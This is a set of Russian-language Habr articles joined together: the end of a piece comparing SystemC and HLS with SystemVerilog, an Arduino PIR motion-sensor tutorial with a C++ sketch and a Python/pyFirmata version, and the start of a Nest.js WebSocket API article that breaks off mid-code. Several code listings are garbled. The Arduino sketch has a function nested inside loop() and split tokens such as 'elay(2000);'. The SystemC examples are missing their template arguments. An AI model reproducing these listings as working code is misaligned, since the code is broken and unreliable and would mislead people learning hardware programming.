После синтеза все типы с 2-мя состояниями превращаются в logic. Это может привести к различиям в результатах симуляции SystemC (до синтеза) и Verilog (после синтеза). В SystemC не сброшенный регистр будет иметь значение 0, в Verilog — x. К счастью, синтезатор выдает предупреждение каждый раз когда видит регистр без сброса, поэтому на практике после чтения лога синтезатора проблем с расхождением результатов симуляции можно избежать.
Очень часто в коде на SystemC используются встроенные типы C++, такие как int или char. Если же нам требуется число с заданным количеством бит, можно использовать тип sc\_uint:
```
sc_uint<2> data; // 2-х битная переменная
data = 7;
cout << data;
```
Выведет в консоль:3
Как реализован sc\_uint? Это просто шаблонный класс в котором перегружены все основные операторы.
##### Модули
Рассмотрим пример пустого модуля на SystemVerilog и SystemC
*SystemVerilog:*
```
module top (
input clk, rstn,
input [7:0] din,
output logic [7:0] dout
)
// тело модуля
endmodule
```
*SystemC:*
```
struct top: public sc_module {
sc_in clk, rstn;
sc\_in > din;
sc\_out > dout;
top(const char\* name) : sc\_module(name) , clk("clk") , rstn("rstn") , din("din"), dout("dout")
{ }
};
```
Разберем интересные строки подробнее:
```
struct top: public sc_module {
```
модули в SystemC это производные классы от класса sc\_module
```
sc_in clk, rstn;
sc\_in > din;
sc\_out > dout;
```
Для создания портов в SystemC используются специальные классы sc\_in и sc\_out.
```
top(const char* name) : sc_module(name) , clk("clk") , rstn("rstn") , din("din"), dout("dout")
```
Конструкторам модуля и портов передаются строки содержащие их имя. Это нужно для того чтобы симуляционное ядро могло выдавать удобные для чтения логи, например:
`Error: (E109) complete binding failed: port not bound: port 'top.dout' (sc_out)`
`Ошибка: порт dout модуля top никуда не подключен.`
( Возможно, когда в C++ появится нормальная поддержка интроспекции объекты в SystemC смогут узнавать свои имена самостоятельно )
Для удобства создания модулей в SystemC определено несколько макросов. С их использованием аналогичный модуль выглядит следующим образом:
```
SC_MODULE(top) {
sc_in clk, rstn;
sc\_in > din;
sc\_out > dout;
SC\_CTOR(top) , clk("clk") , rstn("rstn") , din("din"), dout("dout") {}
};
```
##### Переменные и присваивания
*SystemVerilog:*
Можно утверждать что все переменные в синтезируемом SystemVerilog- статические: они существуют с начала и до конца симуляции. И имеют глобальную область видимости (хотя доступ к сигналам “через крышу” по иерархическому имени не допускается в синтезируемом коде). Еще одной особенностью SystemVerilog является наличие нескольких операторов присваивания: блокирующего и неблокирующего присваивания в процедурных блоках, а так же непрерывного присваивания.
Блокирующее присваивание происходит либо сразу, либо блокирует исполнение текущего процесса до момента когда присваивание совершится.
Пример:
```
logic a;
initial begin
a = #42 1;
$display($time);
end
```
Выведет в консоль:42
т.к. вызов функции $display произойдет лишь в момент времени 42, когда присваивание произойдет.
Неблокирующее присваивание откладывает присваивание на какой-то момент симуляционного времени в будущем и не блокирует исполнение процесса. Если время не указано явно, присваивание происходит на следующем дельта-цикле.
```
initial begin
a <= #42 1;
$display($time);
end
```
Выведет в консоль: 0
*SystemC:*
Переменные в C++ ничего не знают про симуляционное ядро SystemC и поэтому ведут себя привычным для C++ программиста образом. Для того чтобы промоделировать неблокирующее присваивание в SystemC используется специальный тип sc\_signal, переменные этого типа далее называются сигналами:
```
sc_signal< sc_uint<2> > data; // сигнал типа sc_uint<2>
```
Любое присваивание значения data будет неблокирующим.
Синтезируемый SystemC требует, чтобы взаимодействие между несколькими процессами происходило через сигналы. Аналогично, в Verilog хорошим стилем является использование исключительно неблокирующих присваиваний в always\_ff процедурных блоках. В противном случае рискуем получить неопределенное поведение (состояние гонки), когда результат симуляции будет зависеть от порядка вызова процессов в одном дельта цикле.
Аналога блокирующего присваивания в SystemC нет.
##### Процессы (Процедурные блоки)
*SystemVerilog :*
Синтезируемый SystemVerilog поддерживает два основных типа процедурных блоков always\_comb и always\_ff. Помимо них есть еще always\_latch, но использовать регистры-защелки на практике приходится довольно редко.
always\_comb используется для описания комбинаторной логики
```
always_comb
begin
a = b + c;
end
```
Процесс будет исполняться каждый раз, когда изменяется значение b или c. То же самое можно было бы написать более явно, как в классическом Verilog:
```
always@(b or c)
begin
a = b + c;
end
```
Помимо процедурного блока always\_comb для описания комбинационных схем можно использовать оператор непрерывного присваивания:
```
assign a = b + c;
```
Процедурный блок always\_ff используется для описания последовательностной логики, т.е. схем с памятью.
```
always_ff @(posedge clk or negedge arst_n) begin
if(~arst_n) begin
a <= 0;
end
else begin
a <= a + 1;
end
end
```
Этот пример описывает двоичный счетчик с асинхронным сбросом.
##### SystemC:
Процессы в SystemC создаются в конструкторе модуля. Тело процессов описывается в функциях-членах модуля. Тип процесса похожего на always блок из Verilog в SystemC называется SC\_METHOD.
Рассмотрим примеры процессов, аналогичные приведенным ранее процедурным блокам на SystemVerilog:
Комбинаторная логика:
```
SC_CTOR(top) {
SC_METHOD(comb_method); // макрос для создания процесса типа SC_METHOD
sensitive << b << c; // список чуствительности (аналог @(a or b) )
}
void comb_method() { a = b + c; } // тело процесса описывается в функции-члене
```
Последовательностная логика:
```
SC_CTOR(top) {
SC_METHOD(seq_method); // макрос для создания процесса типа SC_METHOD
sensitive << clk.pos() << arst_n.neg(); // список чуствительности ( @(posedge clk or negedge arst_n) )
}
void seq_method() { // тело процесса описывается в функции-члене
if (!arst_n)
a = 0;
else
a = a + 1;
}
```
Аналога непрерывного присваивания в SystemC нет. Так же как и нет возможности указать wildcard в списке чувствительности ( always@\* в Verilog). Даже мощная шаблонная магия C++ не позволяет реализовать это средствами метапрограммирования.
##### Параметризация
Модули на SystemVerilog можно параметризовать. К примеру, можно написать параметризуемое FIFO, ширина и глубина которого будут указываться при создании экземпляра.
В SystemC для создания параметризуемых модулей используются шаблонные классы. С использованием шаблонов и наследования возможности по параметризации в SystemC становятся почти безграничными.
##### Промежуточные итоги
SystemC позволяет описывать аппаратуру на уровне RTL в стиле очень близком к простому Verilog. Код на Verilog будет изящней и компактней, но в целом всю функциональность можно повторить. Рассмотрим полноценный пример: реализуем на Verilog и SystemC сдвиговый регистр с последовательным входом и выходом (serial-in/serial-out) и асинхронным сбросом:
Код на Verilog:
```
module shifreg (
input clk, sin, reset,
output sout
);
reg [7:0] tmp;
always @(posedge clk or posedge reset) begin
if (reset)
tmp <= 0;
else
tmp <= {tmp[6:0], sin};
end
assign sout = tmp[7];
endmodule
```
Код на SystemC
```
// Для сигналов и портов используется инициализация в стиле C++11
SC_MODULE(shift_reg) {
sc_in clk{"clk"}, sin{"sin"}, reset{"reset"};
sc\_out sout{"sout"};
SC\_CTOR(shift\_reg) {
SC\_METHOD(shift\_method);
sensitive << clk.pos() << reset.pos();
// т.к. непрерывного присваивания нет, приходится создавать процесс
SC\_METHOD(sout\_method);
sensitive << tmp;
}
private:
sc\_signal > tmp {"tmp"};
void shift\_method() {
// для чтения и записи сигналов используются методы read и write
// метод write - аналог неблокирующего присваивания в verilog
if ( reset.read() ) {
tmp.write(0);
} else {
// перегруженный оператор "," (запятая) используется для конкатенации
tmp.write((tmp.read().range(6,0) , sin.read()));
}
}
void sout\_method() {
sout = tmp.read()[7];
}
};
```
#### Хороший SystemC. Возможности синтезируемого SystemC, которых нет в SystemVerilog
##### Пользовательские типы данных
Синтезируемый SystemC полностью поддерживает объектно-ориентированное программирование на C++. Это позволяет создавать удобные типы данных для работы в своей предметной области. Например, если вы занимаетесь 3D графикой, то вам постоянно приходится иметь дело с 3-х мерными вещественными векторами. Для их аппаратной реализации потребуется решить несколько задач.
Во первых, операции с плавающей точкой как правило не поддерживаются синтезатором. Поэтому вам придется реализовать их самостоятельно, или использовать стороннюю библиотеку, например DesignWare floating point. И в том и в другом случае вы можете создать удобный класс для работы с плавающей точкой:
```
class my_float {
public:
my_float operator+( const my_float &rval) const;
my_float operator-( const my_float &rval ) const;
my_float operator*( const my_float &rval ) const;
// и другие операции ...
private:
sc_uint<32> raw_data; // внутри себя float это простой 32-битный вектор
}
```
С использованием my\_float можно реализовать класс для работы с векторами:
```
class vector_3d {
public:
vector_3d operator*( const vector_3d &rval ) const; // vector product
vector_3d dot_product (const vector_3d &other) const; // dot product
// и другие операции ...
private:
my_float x, y, z;
};
```
После чего эти пользовательские типы можно использовать в синтезируемом SystemC.
```
vector_3d a,b,c;
c = a + b;
```
Синтезаторы SystemVerilog не поддерживают синтез классов, но умеют синтезировать структуры. Поэтому программирование на SystemVerilog чем-то напоминает программирование на языке Си. На SystemVerilog эта задача с векторами обычно решается следующим образом: вы создаете отдельный пакет, а в нём определяете структуры и функции для работы с ними:
```
package Vector3DPkg;
typedef struct {
logic [31:0] x, y, x;
} vector_3d;
function vector_3d add(vector_3d a, b);
add.x = float_add (a.x, b.x);
add.y = float_add (a.y, b.y);
//...
endfunction
function vector_3dmul(vector_3d a, b);
//....
endpackage : Vector3DPkg
```
##### SC\_CTHREADS (clocked threads). Процессы с неявным состоянием
Синтезируемые процессы в Verilog не могут использовать выражения для управления временем и ожидания событий. Т.е. запущенный процесс должен исполниться до конца и только потом передать управление другому процессу. К примеру, данный процесс не синтезируется:
```
always @(posedge clk)
begin
out <= 1;
@(posedge clk); // ожидание события не синтезируется
out <= 2;
@(posedge clk);
out <= 42;
end
```
В Verilog мы должны явно специфицировать регистр состояния, который будет определять поведение процесса на каждом такте. Синтезируемым аналогом предыдущего примера кода будет следующий процесс:
```
logic [1:0] state;
always @(posedge clk or negedge reset_n)
begin
if ( ~ reset_n)
state <= 0;
out <= 1;
else
case (state)
0: begin
state <= 1;
out <= 1;
end
1: begin
state <= 2;
out <= 2;
end
2: begin
state <= 0;
out <= 42;
end
end
```
В SystemC синтезируемые процессы описывающие последовательностную логику (цифровой автомат) могут останавливаться на ожидании события от тактового сигнала. Это позволяет описывать автомат без явной спецификации регистра состояния. Процессы такого типа создаются с помощью макроса SC\_CTHREAD. Остановка процесса до следующего тактового сигнала осуществляется путём вызова функции wait(); Пример:
```
SC_CTOR ( top ) {
// процесс создается в конструкторе
// clk.pos() означает тактирование по переднему фронту сигнала clk
SC_CTHREAD(test_cthread, clk.pos() );
async_reset_signal_is(reset_n, 0); // асинхронный сброс по уровню 0
}
void test_cthread () {
// код до первого вызова wait() называется reset-секцией, выполняется при запуске процесса или при активном сигнале сброса.
out <= 1;
wait();
// в отличии от SC_METHOD, SC_CTHREAD не должен завершаться никогда
// поэтому в теле процесса всегда есть бесконечный цикл
while (1) {
out.write(1);
wait (); // ожидание переднего фронта на clk
out.write(2);
wait (); // ожидание переднего фронта на clk
out.write(42);
}
}
```
На первый взгляд польза от наличия таких процессов не очевидна. В конце концов не так уж и сложно явно закодировать переменную для состояния цифрового автомата (переменная state в примере на Verilog).
Истинная мощь SC\_CTHREAD процессов заключается в возможности вызова функций, которые могут заблокировать процесс, т.е. вызывать функцию wait(). Такая функция может исполняться несколько тактов! Аналогом из мира Verilog являются task’и, они однако не синтезируются и используются только в тестах.
Например:
```
while (1) {
res = calculate_something(); // несколько тактов занимаемся какими-то вычислениями
spi_send(res); // отправляем результат по SPI, тоже за несколько тактов
}
```
Ещё больше пользы от функций, исполнение которых иногда занимает несколько тактов, а иногда происходит мгновенно, без вызова wait().
Для примера рассмотрим процесс, который читает данные из FIFO, обрабатывает их, после чего отправляет результат в память по системной шине (например, AMBA AXI). Пускай данными будет 3-х мерный вектор рассмотренный раннее, а обработка будет заключаться в нормализации этого вектора. С использованием SC\_CTHREAD и готовых классов для работы с FIFO и AXI написать такой процесс очень просто:
```
fifo data_fifo; // экземпляр FIFO
amba_axi bus_master; // реализация мастера шины AMBA AXI
void computational_thread() {
wait();
while (1) {
vector_3d vec = data_fifo.pop(); // читаем данные из FIFO
vec.normalize(); // обрабатываем данные
bus_master.write( 0xDEADBEEF, vec); // отправляем результат в память по адресу 0xDEADBEEF
}
```
Предположим что нормализация вектора реализована в виде комбинационной схемы. Тогда, в зависимости от готовности FIFO и шины, исполнение одного цикла такого процесса может занимать от одного такта и более. Если в FIFO есть данные и шина не занята, то нормализация одного вектора будет происходить за такт. Если FIFO пустое, то процесс заблокируется на функции чтения из FIFO data\_fifo.pop до момента поступления новых данных. Если шина занята, то процесс заблокируется на функции bus\_master.write до момента когда шина освободится.
У опытного разработчика наверняка возник вопрос, как мы делаем нормализацию вектора за такт? На какой частоте работает наш модуль? Действительно, цепочка из умножения, двух сложений, квадратного корня и деления это слишком много для одной комбинационной схемы. Тем более что речь идет об операциях с плавающей точкой. В случае синхронной схемотехники эта комбинационная цепочка наверняка станет узким местом, ограничивающем максимальную тактовую частоту работы всей схемы.
В зависимости от требований к пропускной способности нашего нормализатора проблема может быть решена несколькими способами:* Если мы никуда не торопимся, то можно сэкономить на ресурсах и реализовать нормализацию в виде FSMD с одним умножителем, сумматором, делителем и модулем извлечения квадратного корня. В этом случае мы потратим 6 тактов на вычисление длины вектора и еще 3 такта для вычисления значения каждого из элементов результата, в сумме — 9 тактов на один вектор.
* Если мы сильно торопимся, а ресурсов не жалко, оригинальную комбинационную схему можно превратить в конвейер. В этом случае в пике (когда в FIFO постоянно есть данные) мы получим тот же 1 такт на вектор, но уже на большей тактовой частоте.
* Так же возможны любые промежуточные между первым и вторым варианты. К примеру, если логика дорогая а регистры дешевые, то в первом рассмотренном варианте микроархитектуры можно начинать обработку следующего вектора не дожидаясь завершения выполнения предыдущего, по мере освобождения ресурсов. После вычисления трех квадратов элементов первого вектора, умножитель освобождается и можно начинать обработку следующего вектора. Такая реализация называется конвейером с интервалом инициализации в 3 такта. Т.е. каждые три такта конвейер будет забирать из FIFO новый вектор.
К сожалению, реализация любого из предложенных решений вручную потребует много времени и значительно усложнит наш 3-х строчный исходник. Например, в случае конвейерной реализации придется создать по процессу на каждую из стадий конвейера. К счастью, при использовании SystemC нам ничего не нужно делать руками — ведь можно просто воспользоваться высокоуровневым синтезом!
#### Высокоуровневый синтез.
Высокоуровневый синтез это процесс трансформации алгоритмического кода написанного на высокоуровневом языке программирования в цифровую аппаратуру его реализующую. На вход HLS пакета подаются:* Исходный код. Иногда его называют untimed code, т.к. он не содержит конструкций для остановки процесса, таких как функция wait
* Timing constraints. Временные ограничения. Задают список тактовых сигналов и их период, а так же задержки на внешних портах
* Спецификация микроархитектуры. В качестве микроархитектуры мы можем выбрать любой из рассмотренных ранее вариантов
В нашем примере мы хотим подвергнуть высокоуровневому синтезу функцию нормализации вектора:
```
void vector_3d::normalize() {
my_float magnitude = sqrt( x*x + y*y + z*z );
x = x / magnitude;
y = y / magnitude;
z = z / magnitude;
}
```
В качестве микроархитектуры можно например выбрать конвейер с интервалом инициализации в 1 такт и задержкой (latency) в 4 такта, а тактовую частоту установить в 500 МГц. Используя технологическую библиотеку HLS пакет определит задержку распространения сигнала через каждый арифметический элемент и оптимально расставит их по стадиям конвейера. При необходимости, выполнение одной операции может быть разбито на несколько стадий: например деление это достаточно сложная операция, выполнение которой может и не влезть в один тактовый период. Поэтому вполне возможно, что синтезетор разобьет делитель между 3ей и 4ой стадией конвейера.
*Анализ проекта в HLS пакете от Cadence*
Опытные пользователи средств логического синтеза знают что некоторые из них (например Deisgn Compiler) обладают похожей функцией, которая называется ретайминг (retiming). В сравнении с ретаймингом HLS обладает несколькими преимуществами:* Не требуется руками специфицировать регистры, логику остановки конвейера.
* HLS позволяет переключаться между несколькими микроархитектурами не меняя исходный код.
Еще одной интересной особенностью HLS является работа с памятью. Абстракцией памяти в HLS является обычный массив. От нас лишь требуется указать синтезатору библиотеку доступных в техпроцессе памятей. Например, можно переделать наш пример таким образом, чтобы результат не отправлялся по шине AXI, а записывался напрямую в память:
```
uint32_t write_address; // 32-битный адрес
vector_3d memory[1024]; // память 1024x96 , каждый вектор - 96 бит
....
while (1) {
vector_3d vec = data_fifo.pop(); // читаем данные из FIFO
vec.normalize(); // обрабатываем данные
memory [write_address] = vec; // записываем результат в память
write_address ++;
}
```
Хочется также отметить что не все HLS средства поддерживают синтез с SystemC. Использование SystemC требуется лишь там, где необходимо описывать сигнальные интерфейсы (например AMBA или UART). На FPGA платформах шинные интерфейсы как правило стандартизированы, поэтому их использование в HLS коде может быть неявным. К примеру, Vivado HLS от Xilinx ориентирован прежде всего на синтез с чистого C/C++. В рамках SoC платформы Xilinx стандартом является интерфейс AMBA AXI, поэтому предполагается что отправлять и получать данные ваши функции будут по AXI, либо с помощью простого handshake протокола. Всё что от вас требуется — описать алгоритмический код. Конечно у такого подхода есть и свои недостатки: при создании сложных проектов вы вполне можете прийти к склеиванию множества HLS модулей в коде на Verilog или графическом редакторе схем. Для этих целей у Xilinx есть еще один продукт — Vivado IP Integrator.
*Соединение HLS блока с ARM процессором через AMBA AXI в Vivado IP Integrator*
#### Заключение
В качестве заключения хочу попробовать ответить на вопрос который часто задают RTL разработчики увидев новый тул: А что с качеством результата? Как будут отличаться тайминги, площадь, энергопотребление схем описанных на SystemC и синтезированных с помощью HLS в сравнении с RTL описанным на SystemVerilog?
На самом деле никак. Всё в ваших руках: SystemC и HLS не лишают вас возможности затюнить всё с точностью до гейта там где это требуется. И в то же время HLS не освобождает вас от необходимости понимать основы цифровой схемотехники. HLS это не магическое средство, превращающее C++ программиста в аппаратчика, это средство позволяющее автоматизировать рутинную работу, облегчающее процесс написания и поддержки синтезируемого кода.
В этой статье я никак не коснулся вопроса верификации. Верификация всегда занимает большую часть времени разработки и SystemC есть что предложить на этом поприще. Хорошо написанный SystemC стимулируется быстрее чем RTL, т.к. часть кода написана в “untimed стиле”, а сигнальные интерфейсы можно заменить на вызовы функций (Transaction-level modeling). Библиотека SCV (SystemC Verification Library) позволяет рандомизировать тестовые вектора, так же на подходе SystemC версия UVM. А т.к. SystemC это C++, то части исходного кода можно переиспользовать между синтезируемым кодом, референсной моделью, виртуальным прототипом и драйвером операционной системы. Но рассказ обо всём этом достоин отдельной статьи. | https://habr.com/ru/post/274137/ | null | ru | null |
# Методы разработки потока программного обеспечения датчиков движения, работающих с Arduino
Привет, Хабр! Хочу предложить реализацию двух подходов разработки программного обеспечения датчика движения, работающего совместно с платой Arduino. Ни датчик движения [1], ни Arduino [2]. в дополнительной рекламе не нуждаются.
Сравним существующие методы программирования с точки зрения простоты и удобства использования. Предлагаем начать статью со знакомства с характеристиками выбранного датчика движения.
Основным датчиком который будем использовать является **датчик движения PIR [3]**.
PIR датчики небольшие, недорогие, потребляют меньше энергии и совместимы с аппаратными платформами, такими как Arduino.
Он использует пару пироэлектрических датчиков, которые обнаруживают инфракрасное излучение. Он имеет радиус действия до 6 метров, что достаточно для проекта.
Кроме того понадобятся светодиоды: зеленый и красный. Шнуры, резисторы и макет: для завершения соединений понадобится пучок проводов и макет. Также понадобятся два резистора на 220 Ом и один 10 кОм.
Следующим составляющим будет плата Arduino: плата Arduino Uno. Для связи платы Arduino с компьютером используем кабель USB.
### Разработка потока программного обеспечения
Прежде чем приступить к работе с аппаратной системой необходимо набросать проект в виде блок схемы. Используем проект с циклом, приведенный на рисунке.
Проект выполняется в цикле, как только обнаружено движение, и выполняются соответствующие действия светодиода:
С помощью единственной инструкции Arduino вы можете включить или выключить светодиод.
Для выполнения операции мигания необходимо будет повторно выполнять действия включения и выключения с временной задержкой между действиями, чтобы выход датчика PIR мог успокоиться.
Будем использовать один и тот же поток при написании кода для обоих методов программирования.
### Проектирование аппаратной системы
Самым простым способом проектирования аппаратного обеспечения таких проектов является прототипирования. Инструмент, используемый для этой цели, называется Fritzing.
Fritzing активно поддерживает Arduino и другие популярные аппаратные платформы с открытым исходным кодом. Следующий рисунок показывает схему для проекта, разработанного с использованием Fritzing. Компоненты подключаем, как показано на рисунке:
**Для завершения сборки схемы выполним следующие шаги:**
1. Подключить VCC (+ 5V) и заземлите от Arduino к макету.
2. Подключить анод (длинный провод) красного светодиода к цифровому выводу 12 платы Arduino. Подключить катод (короткий провод) красного светодиода к земле с помощью резисторов на 220 Ом.
3. Подключить анод (длинный провод) зеленого светодиода к цифровому выводу 13 платы Arduino. Подключите катод (короткий провод) зеленого светодиода к земле с помощью резисторов на 220 Ом.
4. Подключить VDD датчика PIR к VCC на макете. Используйте один и тот же цвет проводки для представления одной и той же категории соединений. Это очень поможет в устранении неисправностей цепи.
5. Подключить сигнал (средний вывод) датчика PIR к цифровой оси 7 Arduino с помощью нагрузочного резистора 10 кОм.
Ниже приведена принципиальная схема схемы электроники, которую мы разработали ранее. Диаграмма также получена с помощью Fritzing:
Теперь система готова к запуску программы Arduino.
### Тестирование подключений оборудования
После завершения подключения цепи переходим непосредственно к разделам программирования. Рекомендуется использовать для проверки подключения цепи и проверки состояния датчика.
Предполагаем, что плата Arduino уже снабжена скетчом StandardFirmata. В противном случае необходимо загрузить скетч StandardFirmata на плату Arduino.
Лучший способ проверить реализацию схемы — использовать программу тестирования Firmata, которую была описана в предыдущей статье. Согласно настройке проекта, датчик PIR выдает события на вывод 7 Arduino.
В тестовой программе измените тип вывода 7 на Input и помашите рукой по датчику, и вы сможете увидеть состояние булавки как показано на следующем скриншоте:
Проверим соединения светодиодов, установив контакты 12 и 13 в качестве выходных контактов и переключив кнопки, чтобы установить состояние контактов. Если светодиоды мигают при переключении кнопки, то соединения работают безупречно.
### Метод 1 — использование автономного скетча Arduino
**Для запуска проекта выполняем:**
1. Открыть Arduino IDE.
2. В меню «Файл» открыть новый альбом.
3. Скопировать следующий код Arduino в скетч и сохранить его:
**Код**
```
int pirPin = 7; //Pin number for PIR sensor
int redLedPin = 12; //Pin number for Red LED
int greenLedPin = 13; //Pin number for Green LED
void setup(){
Serial.begin(9600);
pinMode(pirPin, INPUT);
pinMode(redLedPin, OUTPUT);
pinMode(greenLedPin, OUTPUT);
}
void loop(){
// Function which blinks LED at specified pin number
void blinkLED(int pin, String message){
digitalWrite(pin,HIGH);
Serial.println(message);
delay(1000);
digitalWrite(pin,LOW);
d int pirVal = digitalRead(pirPin);
if(pirVal == LOW){ //was motion detected
blinkLED(greenLedPin, "No motion detected.");
} else {
blinkLED(redLedPin, "Motion detected.");
}
}
elay(2000);
}
```
4. Компилировать и загрузить скетч на доску Arduino.
Как и любая другая программа Arduino, код имеет две обязательные функции: setup () и loop (). Он также имеет настраиваемую функцию blinkLED () для конкретного действия, которое будет объяснено позже.
### Функция setup ()
В предыдущем фрагменте кода были назначены переменные для вывода Arduino в начале программы. В функции setup () мы сконфигурировали эти переменные для определения как входных или выходных выводов:
```
pinMode(pirPin, INPUT);
pinMode(redLedPin, OUTPUT);
pinMode(greenLedPin, OUTPUT);
```
Здесь pirPin, redLedPin и greenLedPin являются цифровыми булавками 7, 12 и 13 соответственно. В этой же функции мы также сконфигурировали плату Arduino для последовательного соединения со скоростью 9600 бит /с:
```
Serial.begin(9600);
```
### Функция loop ()
В функции loop ()многократно контролируем входной сигнал с цифрового контакта pirPin для обнаружения движения. Выход этого контакта ВЫСОКИЙ, когда обнаружено движение, и НИЗКИЙ в противном случае.
Эта логика реализуется с помощью простого оператора if-else. Когда это условие выполняется, функция вызывает пользовательскую функцию blinkLED () для выполнения соответствующего действия на светодиодах. Пользовательские функции являются очень важным аспектом любого языка программирования.
### Работа с пользовательскими функциями Arduino
Function используются, когда сегмент кода повторно выполняется для выполнения того же действия. Пользователь может создать пользовательскую функцию для организации кода или выполнения повторяющихся действий. Чтобы успешно использовать пользовательскую функцию, пользователь должен вызвать их из обязательных функций Arduino, таких как loop (), setup () или любую другую функцию, которая приводит к этим обязательным функциям:
```
return-type function_name (parameters){
# Action to be performed
Action_1;
Action_2;
Return expression;
}
```
Ниже приведена настраиваемая функция, которую использовали в коде проекта:
```
void blinkLED(int pin, String message){
digitalWrite(pin,HIGH);
Serial.println(message);
delay(1000);
digitalWrite(pin,LOW);
delay(2000);
}
```
В проекте функция blinkLED () не перенастраивает любое значение, когда оно вызывается из функции loop (). Следовательно, тип возвращаемого значения — void. При вызове функции мы передаем номер булавки и сообщение в качестве параметров:
```
blinkLED(greenLedPin, "No motion
detected.");
```
Эти параметры затем используются в выполненном действии (запись сообщения на последовательный порт и настройка статуса светодиода) с помощью функции blinkLED (). Эта функция также вводит задержку для выполнения мигания с помощью функции delay ().
### Тестирование
Спроектированная система была проверена в разделе «Тестирование аппаратного обеспечения» с помощью ручных входов через программу тестирования Firmata. Необходимо убедиться, что проект выполняет объективные задачи автономно и неоднократно.
С портом USB, подключенным к компьютеру, необходимо открыть средство последовательного мониторинга из среды IDEArduino, перейдя в меню «Сервис» | SerialMonitor или нажав Ctrl + Shift + M. На экране последовательного монитора должно появиться сообщение, аналогичное показанному:
При написании функции blinkLED () для выполнения действий мы включили действие для записи строки через последовательный порт. Переместите руку над датчиком PIR таким образом, чтобы датчик PIR мог обнаружить движение.
Это событие должно заставлять систему мигать красным светодиодом и отображать строку, обнаруженную движением, на серийном мониторе. При отсутствии движения некоторое время можно увидеть зеленый светодиод, мигающий, пока не будет обнаружено следующее движение через датчик PIR.
### Метод 2 — использование Python и Firmata
Можно использовать редактор по вашему выбору, но убедитесь, что сохраняются файлы с расширением .py. Скопируем следующие строки кода в новый файл и сохраним его как test.py:
```
#!/usr/bin/python
a = "Python"
b = "Programming"
print a + " "+ b
```
Чтобы запустить этот файл, выполните следующую команду на терминале, где сохранен файл test.py:
```
$ python test.py
```
Вы должны иметь возможность видеть текст PythonProgramming, напечатанный на терминале. Как вы можете видеть, файл начинается с #! / Usr / bin / python, который является местом установки Python по умолчанию. Добавив эту строку в свой код Python, вы можете напрямую выполнить файл Python с терминала. В операционных системах на основе Unix вам нужно сделать исполняемый файл test.py с помощью следующей команды:
```
$ chmod +x test.py
```
теперь, поскольку ваш файл является исполняемым, вы можете напрямую запустить файл, используя следующую команду:
```
$. / test.py
```
Теперь создадим новый файл Python со следующим фрагментом кода и запустим его. Обязательно необходимо изменить значение переменной порта в соответствии с вашей операционной системой:
**Заголовок спойлера**
```
# pir_1.py
# Импортировать требуемые библиотеки
import pyfirmata
from time import sleep
# Определить настраиваемую функцию для выполнения действия Blink
def blinkLED(pin, message):
print (message)
board.digital[pin].write(1)
sleep(1)
board.digital[pin].write(0)
sleep(1)
# Связать порт и панель с pyFirmata
port = 'COM3'
board = pyfirmata.Arduino(port)
# Используйте поток итератора, чтобы избежать переполнения буфера
it = pyfirmata.util.Iterator(board)
it.start()
# Define pins
pirPin = board.get_pin('d:7:i')
print(pirPin)
redPin = 12
greenPin = 13
# Check for PIR sensor input
while True:
# Ignore case when receiving None value from pin
value = pirPin.read()
while value is None:
pass
print(value)
if value is True:
# Perform Blink using custom function
blinkLED(redPin, "Motion Detected")
else:
blinkLED(greenPin, "No motion Detected")
# Выключить плату
board.exit()
```
В этом коде есть два основных компонента программирования: методы pyFirmata и функция Python для выполнения мигающего действия. Программа неоднократно обнаруживает события движения и выполняет мигающее действие.
В этом методе мы реализовали оператор while, чтобы поддерживать программу в цикле, пока пользователь не завершит работу вручную. Можно завершить код, используя комбинацию клавиш Ctrl + C.
### Работа с методами pyFirmata
Работы с платой Arduino и протоколом Firmata необходимо начать с инициализации платы Arduino в качестве переменной. Метод pyFirmata, который позволяет пользователю назначить правление переменной Python, выглядит следующим образом:
```
board = pyfirmata.Arduino(port)
```
Как только значение переменной присвоено, можно выполнять различные действия, такие как чтение пина или отправка сигнала на вывод с использованием этой переменной. Чтобы назначить роль контакту, используется метод get\_pin (). В следующей строке кода d представляет цифровой вывод, 7 — номер вывода, а i означает, что тип вывода — это входной вывод:
```
pirPin = board.get_pin('d:7:i')
```
Как только pin и его роль присваиваются переменной, эта переменная может использоваться для чтения или записи значений на выводе:
```
Value = pirPin.read ()
```
Можно напрямую записывать данные на конкретный вывод, как описано в следующем коде:
```
board.digital[pin].write(1)
```
Здесь метод write (1) посылает сигнал HIGH на вывод.
### Работа с функциями Python
Функция Python начинается с ключевого слова def, за которым следует имя функции и входные параметры или аргументы. Определение функции заканчивается двоеточием (:) и после этого отступы. Оператор return завершает функцию. Оно также передает это выражение в место вызова функции.
Если оператор return сохраняется без выражения, считается, что оно передало возвращаемое значение None:
```
def function_name(parameters):
action_1
action_2
return [expression]
```
Предыдущая структура может быть использована для создания настраиваемых функций для выполнения повторяющихся задач. В нашем проекте у нас есть функция blinkLED (pin, message) для выполнения мигающего светодиода. Эта функция посылает 1 (HIGH) и 0 (LOW) значение на указанный цифровой контакт, а также печатает сообщение на терминале. Он также вводит задержку для имитации мигающего действия:
```
defblinkLED(pin, message):
print message
board.digital[pin].write(1)
sleep(1)
board.digital[pin].write(0)
sleep(1)
```
### Тестирование
После запуска кода Python на терминале можно начинать тестирование. Если все идет по проекту, вы должны иметь возможность видеть в терминале следующий вывод:
Вы должны иметь возможность видеть строку обнаружения движения на терминале, когда какое-либо движение обнаружено датчиком PIR. Преимущество использования Python заключается в том, что незначительные изменения, такие как изменение скорости мигания или замена ролей светодиодов, могут быть выполнены путем простого изменения кода Python без участия С помощью Arduino или электрической цепи.
### Выводы
Сравнительный анализ результатов практической реализации проекта двумя методами программирования, которые мы применили в этой работе показывает, что метод который использует только скетч Arduino, представляет традиционную парадигму программирования микроконтроллера. Хотя этот метод более прост в реализации, ему не хватает экстенсивности, достигаемой интерфейсом Python-Arduino. Таким образом, для практического применения мы делаем выбор в пользу метода Python-Arduino.
### Ссылки
1. [Для чего нужен датчик движения для освещения.](http://1.%09http://electricvdome.ru/osvechenie/datchik-dvizheniya-dlya-osveshheniya.html)
2. [Книга: «Arduino Basic Connections».](https://yadi.sk/i/v8APE4HakdTVT)
3. [PIR Motion Sensor.](http://3.%09https://www.sparkfun.com/products/8630) | https://habr.com/ru/post/337982/ | null | ru | null |
# WebSocket ориентированое Api на Nest.js
В этой статье я расскажу как написал модуль под Nest.js позволяющий писать классическое RESTFull API со swagger'ом но клиент будет полностью на WebSocket'ах, звучит странно не так ли? Но зато очень быстро и удобно по итогу).
Идея состоит в том, что вы пишите классическое документированное апи, со всеми типами и плюшками.
```
@Get(':id')
@WsAction('user')
getUser(@Param('id', ParseIntPipe) id: number): UserDto {
